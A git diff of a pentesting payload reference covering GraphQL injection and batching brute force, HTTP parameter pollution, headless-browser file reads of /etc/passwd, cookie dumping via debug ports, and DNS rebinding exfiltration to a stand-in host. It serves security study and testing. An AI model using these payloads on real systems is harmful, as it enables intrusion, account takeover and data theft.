```js
|
||||||
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
|
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### Enumerate the types' definition
|
### Mutations
|
||||||
|
|
||||||
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Use mutations
|
|
||||||
|
|
||||||
Mutations work like function, you can use them to interact with the GraphQL.
|
Mutations work like function, you can use them to interact with the GraphQL.
|
||||||
|
|
||||||
@@ -239,11 +290,69 @@ Mutations work like function, you can use them to interact with the GraphQL.
|
|||||||
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
|
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
|
||||||
```
|
```
|
||||||
|
|
||||||
### NOSQL injection
|
|
||||||
|
### GraphQL Batching Attacks
|
||||||
|
|
||||||
|
Common scenario:
|
||||||
|
* Password Brute-force Amplification Scenario
|
||||||
|
* Rate Limit bypass
|
||||||
|
* 2FA bypassing
|
||||||
|
|
||||||
|
|
||||||
|
#### JSON List Based Batching
|
||||||
|
|
||||||
|
> Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.
|
||||||
|
|
||||||
|
Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.
|
||||||
|
|
||||||
|
```json
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"query":"..."
|
||||||
|
},{
|
||||||
|
"query":"..."
|
||||||
|
}
|
||||||
|
,{
|
||||||
|
"query":"..."
|
||||||
|
}
|
||||||
|
,{
|
||||||
|
"query":"..."
|
||||||
|
}
|
||||||
|
...
|
||||||
|
]
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
#### Query Name Based Batching
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"query": "query { qname: Query { field1 } qname1: Query { field1 } }"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Send the same mutation several times using aliases
|
||||||
|
|
||||||
|
```js
|
||||||
|
mutation {
|
||||||
|
login(pass: 1111, username: "bob")
|
||||||
|
second: login(pass: 2222, username: "bob")
|
||||||
|
third: login(pass: 3333, username: "bob")
|
||||||
|
fourth: login(pass: 4444, username: "bob")
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Injections
|
||||||
|
|
||||||
|
> SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
|
||||||
|
|
||||||
|
|
||||||
|
### NOSQL Injection
|
||||||
|
|
||||||
Use `$regex`, `$ne` from []() inside a `search` parameter.
|
Use `$regex`, `$ne` from []() inside a `search` parameter.
|
||||||
|
|
||||||
```json
|
```js
|
||||||
{
|
{
|
||||||
doctors(
|
doctors(
|
||||||
options: "{\"limit\": 1, \"patients.ssn\" :1}",
|
options: "{\"limit\": 1, \"patients.ssn\" :1}",
|
||||||
@@ -255,11 +364,11 @@ Use `$regex`, `$ne` from []() inside a `search` parameter.
|
|||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### SQL injection
|
### SQL Injection
|
||||||
|
|
||||||
Send a single quote `'` inside a graphql parameter to trigger the SQL injection
|
Send a single quote `'` inside a graphql parameter to trigger the SQL injection
|
||||||
|
|
||||||
```powershell
|
```js
|
||||||
{
|
{
|
||||||
bacon(id: "1'") {
|
bacon(id: "1'") {
|
||||||
id,
|
id,
|
||||||
@@ -275,52 +384,37 @@ Simple SQL injection inside a graphql field.
|
|||||||
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
|
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
|
||||||
```
|
```
|
||||||
|
|
||||||
### GraphQL Batching Attacks
|
|
||||||
|
|
||||||
Common scenario:
|
## Labs
|
||||||
* Password Brute-force Amplification Scenario
|
|
||||||
* 2FA bypassing
|
|
||||||
|
|
||||||
```powershell
|
* [PortSwigger - Accessing private GraphQL posts](https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts)
|
||||||
mutation finishChannelVerificationMutation(
|
* [PortSwigger - Accidental exposure of private GraphQL fields](https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure)
|
||||||
$input FinishChannelVerificationInput!,
|
* [PortSwigger - Finding a hidden GraphQL endpoint](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint)
|
||||||
$input2 FinishChannelVerificationInput!,
|
* [PortSwigger - Bypassing GraphQL brute force protections](https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass)
|
||||||
$input3 FinishChannelVerificationInput!,
|
* [PortSwigger - Performing CSRF exploits over GraphQL](https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api)
|
||||||
){
|
* [Root Me - GraphQL - Introspection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Introspection)
|
||||||
first: finishChannelVerificationMutation(input: $input){
|
* [Root Me - GraphQL - Injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Injection)
|
||||||
channel{
|
* [Root Me - GraphQL - Backend injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Backend-injection)
|
||||||
id
|
* [Root Me - GraphQL - Mutation](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Mutation)
|
||||||
option{
|
|
||||||
... onChannelSmsOptions{
|
|
||||||
number
|
|
||||||
}
|
|
||||||
}
|
|
||||||
status
|
|
||||||
notificationSubscription(last: 1000){ etc... }
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
second: finishChannelVerificationMutation(input: $input2){...}
|
|
||||||
third: finishChannelVerificationMutation(input: $input3){...}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [Introduction to GraphQL](https://graphql.org/learn/)
|
- [Building a free open source GraphQL wordlist for penetration testing - Nohé Hinniger-Foray - August 17, 2023](https://escape.tech/blog/graphql-security-wordlist/)
|
||||||
* [GraphQL Introspection](https://graphql.org/learn/introspection/)
|
- [Exploiting GraphQL - AssetNote - Shubham Shah - August 29, 2021](https://blog.assetnote.io/2021/08/29/exploiting-graphql/)
|
||||||
* [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
|
- [GraphQL Batching Attack - Wallarm - December 13, 2019](https://lab.wallarm.com/graphql-batching-attack/)
|
||||||
* [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](https://labs.detectify.com/2018/03/14/graphql-abuse/)
|
- [GraphQL for Pentesters presentation - Alexandre ZANNI (@noraj) - December 1, 2022](https://acceis.github.io/prez-graphql/)
|
||||||
* [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
|
* [API Hacking GraphQL - @ghostlulz - Jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
|
||||||
* [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
|
* [Discovering GraphQL endpoints and SQLi vulnerabilities - Matías Choren - Sep 23, 2018](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
|
||||||
* [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
|
* [GraphQL abuse: Bypass account level permissions through parameter smuggling - Jon Bottarini - March 14, 2018](https://labs.detectify.com/2018/03/14/graphql-abuse/)
|
||||||
* [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert](https://hackerone.com/reports/435066)
|
* [Graphql Bug to Steal Anyone's Address - Pratik Yadav - Sept 1, 2019](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
|
||||||
* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
|
* [GraphQL cheatsheet - devhints.io - November 7, 2018](https://devhints.io/graphql)
|
||||||
* [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
|
* [GraphQL Introspection - GraphQL - August 21, 2024](https://graphql.org/learn/introspection/)
|
||||||
* [GraphQL cheatsheet - DEVHINTS.IO](https://devhints.io/graphql)
|
* [GraphQL NoSQL Injection Through JSON Types - Pete Corey - June 12, 2017](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
|
||||||
* [HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
|
* [HIP19 Writeup - Meet Your Doctor 1,2,3 - Swissky - June 22, 2019](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
|
||||||
* [Introspection query leaks sensitive graphql system information - @Zuriel](https://hackerone.com/reports/291531)
|
* [How to set up a GraphQL Server using Node.js, Express & MongoDB - Leonardo Maldonado - 5 November 2018](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
|
||||||
* [Graphql Bug to Steal Anyone’s Address - Sept 1, 2019 - Pratik Yadav](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
|
* [Introduction to GraphQL - GraphQL - November 1, 2024](https://graphql.org/learn/)
|
||||||
* [GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019](https://lab.wallarm.com/graphql-batching-attack/)
|
* [Introspection query leaks sensitive graphql system information - @Zuriel - November 18, 2017](https://hackerone.com/reports/291531)
|
||||||
|
* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r - 8 June 2017](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
|
||||||
|
* [Securing Your GraphQL API from Malicious Queries - Max Stoiber - Feb 21, 2018](https://web.archive.org/web/20180731231915/https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
|
||||||
|
* [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Jobert Abma (jobert) - Nov 6th 2018](https://hackerone.com/reports/435066)
|
||||||
@@ -1,49 +1,101 @@
|
|||||||
# HTTP Parameter Pollution
|
# HTTP Parameter Pollution
|
||||||
|
|
||||||
|
> HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value¶m1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value¶m1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurance, some taking the last occurance, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.
|
* [Tools](#tools)
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [Parameter Pollution Table](#parameter-pollution-table)
|
||||||
|
* [Parameter Pollution Payloads](#parameter-pollution-payloads)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
No tools needed. Maybe Burp or OWASP ZAP.
|
* **Burp Suite**: Manually modify requests to test duplicate parameters.
|
||||||
|
* **OWASP ZAP**: Intercept and manipulate HTTP parameters.
|
||||||
|
|
||||||
## How to test
|
|
||||||
|
|
||||||
HPP allows an attacker to bypass pattern based/black list proxies or Web Application Firewall detection mechanisms. This can be done with or without the knowledge of the web technology behind the proxy, and can be achieved through simple trial and error.
|
## Methodology
|
||||||
|
|
||||||
```
|
HTTP Parameter Pollution (HPP) is a web security vulnerability where an attacker injects multiple instances of the same HTTP parameter into a request. The server's behavior when processing duplicate parameters can vary, potentially leading to unexpected or exploitable behavior.
|
||||||
Example scenario.
|
|
||||||
WAF - Reads first param
|
|
||||||
Origin Service - Reads second param. In this scenario, developer trusted WAF and did not implement sanity checks.
|
|
||||||
|
|
||||||
Attacker -- http://example.com?search=Beth&search=' OR 1=1;## --> WAF (reads first 'search' param, looks innocent. passes on) --> Origin Service (reads second 'search' param, injection happens if no checks are done here.)
|
HPP can target two levels:
|
||||||
|
|
||||||
|
* Client-Side HPP: Exploits JavaScript code running on the client (browser).
|
||||||
|
* Server-Side HPP: Exploits how the server processes multiple parameters with the same name.
|
||||||
|
|
||||||
|
|
||||||
|
**Examples**:
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
/app?debug=false&debug=true
|
||||||
|
/transfer?amount=1&amount=5000
|
||||||
```
|
```
|
||||||
|
|
||||||
### Table of refence for which technology reads which parameter
|
|
||||||
|
### Parameter Pollution Table
|
||||||
|
|
||||||
When ?par1=a&par1=b
|
When ?par1=a&par1=b
|
||||||
| Technology | Parsing Result |outcome (par1=)|
|
|
||||||
| ------------------ |--------------- |:-------------:|
|
| Technology | Parsing Result | outcome (par1=) |
|
||||||
| ASP.NET/IIS |All occurrences |a,b |
|
| ----------------------------------------------- | ------------------------ | --------------- |
|
||||||
| ASP/IIS |All occurrences |a,b |
|
| ASP.NET/IIS | All occurrences | a,b |
|
||||||
| PHP/Apache |Last occurrence |b |
|
| ASP/IIS | All occurrences | a,b |
|
||||||
| PHP/Zues |Last occurrence |b |
|
| Golang net/http - `r.URL.Query().Get("param")` | First occurrence | a |
|
||||||
| JSP,Servlet/Tomcat |First occurrence |a |
|
| Golang net/http - `r.URL.Query()["param"]` | All occurrences in array | ['a','b'] |
|
||||||
| Perl CGI/Apache |First occurrence |a |
|
| IBM HTTP Server | First occurrence | a |
|
||||||
| Python Flask |First occurrence |a |
|
| IBM Lotus Domino | First occurrence | a |
|
||||||
| Python Django |Last occurrence |b |
|
| JSP,Servlet/Tomcat | First occurrence | a |
|
||||||
| Nodejs |All occurrences |a,b |
|
| mod_wsgi (Python)/Apache | First occurrence | a |
|
||||||
| Golang net/http - `r.URL.Query().Get("param")` |First occurrence |a |
|
| Nodejs | All occurrences | a,b |
|
||||||
| Golang net/http - `r.URL.Query()["param"]` |All occurrences |a,b |
|
| Perl CGI/Apache | First occurrence | a |
|
||||||
| IBM Lotus Domino |First occurrence |a |
|
| Perl CGI/Apache | First occurrence | a |
|
||||||
| IBM HTTP Server |First occurrence |a |
|
| PHP/Apache | Last occurrence | b |
|
||||||
| Perl CGI/Apache |First occurrence |a |
|
| PHP/Zues | Last occurrence | b |
|
||||||
| mod_wsgi (Python)/Apache |First occurrence |a |
|
| Python Django | Last occurrence | b |
|
||||||
| Python/Zope |All occurences in array |['a','b'] |
|
| Python Flask | First occurrence | a |
|
||||||
|
| Python/Zope | All occurrences in array | ['a','b'] |
|
||||||
|
| Ruby on Rails | Last occurrence | b |
|
||||||
|
|
||||||
|
|
||||||
|
### Parameter Pollution Payloads
|
||||||
|
|
||||||
|
* Duplicate Parameters:
|
||||||
|
```ps1
|
||||||
|
param=value1¶m=value2
|
||||||
|
```
|
||||||
|
|
||||||
|
* Array Injection:
|
||||||
|
```ps1
|
||||||
|
param[]=value1
|
||||||
|
param[]=value1¶m[]=value2
|
||||||
|
param[]=value1¶m=value2
|
||||||
|
param=value1¶m[]=value2
|
||||||
|
```
|
||||||
|
|
||||||
|
* Encoded Injection:
|
||||||
|
```ps1
|
||||||
|
param=value1%26other=value2
|
||||||
|
```
|
||||||
|
|
||||||
|
* Nested Injection:
|
||||||
|
```ps1
|
||||||
|
param[key1]=value1¶m[key2]=value2
|
||||||
|
```
|
||||||
|
|
||||||
|
* JSON Injection:
|
||||||
|
```ps1
|
||||||
|
{
|
||||||
|
"test": "user",
|
||||||
|
"test": "admin"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
- [HTTP Parameter Pollution - Imperva](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
|
|
||||||
- [HTTP Parameter Pollution in 11 minutes | Web Hacking - PwnFunction](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction)
|
- [How to Detect HTTP Parameter Pollution Attacks - Acunetix - January 9, 2024](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
|
||||||
- [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
|
- [HTTP Parameter Pollution - Itamar Verta - December 20, 2023](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
|
||||||
|
- [HTTP Parameter Pollution in 11 minutes - PwnFunction - January 28, 2019](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction)
|
||||||
136
Headless Browser/README.md
Normal file
136
Headless Browser/README.md
Normal file
@@ -0,0 +1,136 @@
|
|||||||
|
# Headless Browser
|
||||||
|
|
||||||
|
> A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.
|
||||||
|
|
||||||
|
> Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Headless Commands](#headless-commands)
|
||||||
|
* [Local File Read](#local-file-read)
|
||||||
|
* [Debugging Port](#debugging-port)
|
||||||
|
* [Network](#network)
|
||||||
|
* [Port Scanning](#port-scanning)
|
||||||
|
* [DNS Rebinding](#dns-rebinding)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Headless Commands
|
||||||
|
|
||||||
|
Example of headless browsers commands:
|
||||||
|
|
||||||
|
* Google Chrome
|
||||||
|
```ps1
|
||||||
|
google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
|
||||||
|
```
|
||||||
|
|
||||||
|
* Mozilla Firefox
|
||||||
|
```ps1
|
||||||
|
firefox --screenshot https://www.google.com
|
||||||
|
```
|
||||||
|
|
||||||
|
* Microsoft Edge
|
||||||
|
```ps1
|
||||||
|
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Local File Read
|
||||||
|
|
||||||
|
Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html`
|
||||||
|
|
||||||
|
* Javascript Redirect
|
||||||
|
```html
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
window.location="/etc/passwd"
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Iframe
|
||||||
|
```html
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<iframe src="/etc/passwd" height="640" width="640"></iframe>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Debugging Port
|
||||||
|
|
||||||
|
**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`
|
||||||
|
|
||||||
|
**Tools**:
|
||||||
|
|
||||||
|
* [slyd0g/WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies
|
||||||
|
* [slyd0g/ripWCMN.py](https://gist.githubusercontent.com/slyd0g/955e7dde432252958e4ecd947b8a7106/raw/d96c939adc66a85fa9464cec4150543eee551356/ripWCMN.py) - WCMN alternative using Python to fix the websocket connection with an empty `origin` Header.
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> Since Chrome update from December 20, 2022, you must start the browser with the argument `--remote-allow-origins="*"` to connect to the websocket with WhiteChocolateMacademiaNut.
|
||||||
|
|
||||||
|
**Exploits**:
|
||||||
|
|
||||||
|
* Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices`
|
||||||
|
* Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs
|
||||||
|
* Dump cookies:
|
||||||
|
* Stored data: `chrome://settings`
|
||||||
|
* Port Scan: In a loop open `http://localhost:<port>/json/new?http://callback.example.com?port=<port>`
|
||||||
|
* Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version`
|
||||||
|
* Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05)
|
||||||
|
* Node inspector `--inspect` works like a `--remote-debugging-port`
|
||||||
|
```ps1
|
||||||
|
node --inspect app.js # default port 9229
|
||||||
|
node --inspect=4444 app.js # custom port 4444
|
||||||
|
node --inspect=0.0.0.0:4444 app.js
|
||||||
|
```
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
|
||||||
|
|
||||||
|
|
||||||
|
## Network
|
||||||
|
|
||||||
|
### Port Scanning
|
||||||
|
|
||||||
|
Port Scanning: Timing attack
|
||||||
|
|
||||||
|
* Dynamically insert an `<img>` tag pointing to a hypothetical closed port. Measure time to onerror.
|
||||||
|
* Repeat at least 10 times → average time to get an error for a closed port
|
||||||
|
* Test random port 10 times and measure time to error
|
||||||
|
* If `time_to_error(random_port) > time_to_error(closed_port)*1.3` → port is opened
|
||||||
|
|
||||||
|
**Consideration**:
|
||||||
|
|
||||||
|
* Chrome blocks by default a list of "known ports"
|
||||||
|
* Chrome blocks access to local network addresses except localhost through 0.0.0.0
|
||||||
|
|
||||||
|
|
||||||
|
### DNS Rebinding
|
||||||
|
|
||||||
|
* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
|
||||||
|
|
||||||
|
1. Chrome will make 2 DNS requests: `A` and `AAAA` records
|
||||||
|
* `AAAA` response with valid Internet IP
|
||||||
|
* `A` response with internal IP
|
||||||
|
2. Chrome will connect in priority to the IPv6 (evil.net)
|
||||||
|
3. Close IPv6 listener just after first response
|
||||||
|
4. Open Iframe to evil.net
|
||||||
|
5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
|
||||||
|
6. From top window, inject script into iframe to exfiltrate content
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Attacking Headless Browsers - truff - May 22, 2024](#bb-discord-replay-not-available)
|
||||||
|
- [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://incolumitas.com/2021/01/10/browser-based-port-scanning/)
|
||||||
|
- [Chrome DevTools Protocol - Documentation - July 3, 2017](https://chromedevtools.github.io/devtools-protocol/)
|
||||||
|
- [Cookies with Chromium’s Remote Debugger Port - Justin Bui - December 17, 2020](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)
|
||||||
|
- [Debugging Cookie Dumping Failures with Chromium’s Remote Debugger - Justin Bui - July 16, 2023](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)
|
||||||
|
- [Node inspector/CEF debug abuse - HackTricks - July 18, 2024](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)
|
||||||
|
- [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - April 28, 2020](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
|
||||||
|
- [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)
|
||||||
5
Headless Browser/files/iframe.html
Normal file
5
Headless Browser/files/iframe.html
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<iframe src="/etc/passwd" height="640" width="640"></iframe>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
7
Headless Browser/files/window_location_js.html
Normal file
7
Headless Browser/files/window_location_js.html
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
window.location="/etc/passwd"
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
54
Hidden Parameters/README.md
Normal file
54
Hidden Parameters/README.md
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
# HTTP Hidden Parameters
|
||||||
|
|
||||||
|
> Web applications often have hidden or undocumented parameters that are not exposed in the user interface. Fuzzing can help discover these parameters, which might be vulnerable to various attacks.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [Bruteforce Parameters](#bruteforce-parameters)
|
||||||
|
* [Old Parameters](#old-parameters)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) - Burp extension to identify hidden, unlinked parameters.
|
||||||
|
* [s0md3v/Arjun](https://github.com/s0md3v/Arjun) - HTTP parameter discovery suite
|
||||||
|
* [Sh1Yo/x8](https://github.com/Sh1Yo/x8) - Hidden parameters discovery suite
|
||||||
|
* [tomnomnom/waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch all the URLs that the Wayback Machine knows about for a domain
|
||||||
|
* [devanshbatham/ParamSpider](https://github.com/devanshbatham/ParamSpider) - Mining URLs from dark corners of Web Archives for bug hunting/fuzzing/further probing
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
### Bruteforce Parameters
|
||||||
|
|
||||||
|
* Use wordlists of common parameters and send them, look for unexpected behavior from the backend.
|
||||||
|
```ps1
|
||||||
|
x8 -u "https://example.com/" -w <wordlist>
|
||||||
|
x8 -u "https://example.com/" -X POST -w <wordlist>
|
||||||
|
```
|
||||||
|
|
||||||
|
Wordlist examples:
|
||||||
|
|
||||||
|
- [Arjun/large.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/large.txt)
|
||||||
|
- [Arjun/medium.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/medium.txt)
|
||||||
|
- [Arjun/small.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/small.txt)
|
||||||
|
- [samlists/sam-cc-parameters-lowercase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-lowercase-all.txt)
|
||||||
|
- [samlists/sam-cc-parameters-mixedcase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-mixedcase-all.txt)
|
||||||
|
|
||||||
|
|
||||||
|
### Old Parameters
|
||||||
|
|
||||||
|
Explore all the URL from your targets to find old parameters.
|
||||||
|
|
||||||
|
* Browse the [Wayback Machine](http://web.archive.org/)
|
||||||
|
* Look through the JS files to discover unused parameters
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Hacker tools: Arjun – The parameter discovery tool - Intigriti - May 17, 2021](https://blog.intigriti.com/2021/05/17/hacker-tools-arjun-the-parameter-discovery-tool/)
|
||||||
|
- [Parameter Discovery: A quick guide to start - YesWeHack - April 20, 2022](http://web.archive.org/web/20220420123306/https://blog.yeswehack.com/yeswerhackers/parameter-discovery-quick-guide-to-start)
|
||||||
184
Insecure Deserialization/DotNET.md
Normal file
184
Insecure Deserialization/DotNET.md
Normal file
@@ -0,0 +1,184 @@
|
|||||||
|
# .NET Deserialization
|
||||||
|
|
||||||
|
> .NET serialization is the process of converting an object’s state into a format that can be easily stored or transmitted, such as XML, JSON, or binary. This serialized data can then be saved to a file, sent over a network, or stored in a database. Later, it can be deserialized to reconstruct the original object with its data intact. Serialization is widely used in .NET for tasks like caching, data transfer between applications, and session state management.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Detection](#detection)
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Formatters](#formatters)
|
||||||
|
* [XmlSerializer](#xmlserializer)
|
||||||
|
* [DataContractSerializer](#datacontractserializer)
|
||||||
|
* [NetDataContractSerializer](#netdatacontractserializer)
|
||||||
|
* [LosFormatter](#losformatter)
|
||||||
|
